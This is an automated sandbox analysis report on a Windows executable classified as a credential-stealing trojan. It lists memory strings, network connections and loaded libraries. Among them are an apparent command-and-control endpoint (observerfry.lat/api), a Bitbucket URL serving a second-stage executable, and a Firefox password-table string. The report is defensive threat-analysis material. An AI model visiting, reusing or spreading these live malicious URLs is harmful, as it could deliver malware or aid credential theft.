Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: j6ks0Fxu6t.exe, 00000000.00000003.2002768319.0000000005901000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318705101.0000000005D59000.00000002.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: j6ks0Fxu6t.exe, 00000000.00000003.1819133483.000000000569E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://aui-cdn.atlassia
Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://bbc-frontbucket-static.stg-ea
Source: j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.pu
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3cc1-
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/Ft
Source: j6ks0Fxu6t.exe, 00000000.00000002.2318204872.0000000005660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com:443/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/eaef3307-3
Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316214995.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe
Source: j6ks0Fxu6t.exe, 00000000.00000002.2315488591.00000000009FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe.0
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/FormattingCharitable.exe:
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: j6ks0Fxu6t.exe, 00000000.00000002.2316101561.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: j6ks0Fxu6t.exe, 00000000.00000002.2316240457.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/
Source: j6ks0Fxu6t.exe, 00000000.00000003.1843812155.000000000566B000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1818676658.0000000005669000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1844090234.000000000566C000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1818911372.000000000566C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/9K
Source: j6ks0Fxu6t.exe, 00000000.00000003.1818708368.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1886858013.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/api
Source: j6ks0Fxu6t.exe, 00000000.00000003.1845521605.0000000005665000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1844162806.0000000005665000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1843812155.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1870132753.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1818708368.0000000005664000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1886858013.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apiL
Source: j6ks0Fxu6t.exe, 00000000.00000003.1843812155.0000000005664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apilite5y
Source: j6ks0Fxu6t.exe, 00000000.00000003.1770330663.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/apip
Source: j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/d
Source: j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/pi8
Source: j6ks0Fxu6t.exe, 00000000.00000003.1869838984.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat/s
Source: j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://observerfry.lat:443/api
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://remote-app-switcher.prod-
Source: j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.000000000566C000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.000000000566C000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: j6ks0Fxu6t.exe, 00000000.00000003.1772269566.00000000056CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: j6ks0Fxu6t.exe, 00000000.00000003.1796055243.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772269566.00000000056C8000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772368792.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1795892019.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: j6ks0Fxu6t.exe, 00000000.00000003.1772368792.000000000569C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: j6ks0Fxu6t.exe, 00000000.00000003.1796055243.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772269566.00000000056C8000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772368792.00000000056C1000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1795892019.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: j6ks0Fxu6t.exe, 00000000.00000003.1772368792.000000000569C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: j6ks0Fxu6t.exe	String found in binary or memory: https://web-security-reports.services.at
Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.2003025402.0000000000FE7000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2002933101.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005685000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820512114.000000000567D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: j6ks0Fxu6t.exe, 00000000.00000003.2028531317.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2318223683.0000000005674000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: j6ks0Fxu6t.exe, 00000000.00000003.1771225608.00000000056B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: j6ks0Fxu6t.exe, 00000000.00000003.1820160221.0000000005785000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.216.113:443 -> 192.168.2.4:49745 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: j6ks0Fxu6t.exe	Static PE information: section name:
Source: j6ks0Fxu6t.exe	Static PE information: section name: .rsrc
Source: j6ks0Fxu6t.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 832

Source: j6ks0Fxu6t.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: j6ks0Fxu6t.exe

Static PE information: Section: ZLIB complexity 0.9995212928921569

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@3/3

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6596

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\cb9aa6e0-c05d-44a5-ba15-e676c12e8a8c

Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: j6ks0Fxu6t.exe, 00000000.00000003.1771987052.00000000056A0000.00000004.00000800.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1772368792.0000000005682000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: j6ks0Fxu6t.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

File read: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\j6ks0Fxu6t.exe "C:\Users\user\Desktop\j6ks0Fxu6t.exe"
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6596 -s 832

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: cryptsp.dll	Jump to behavior
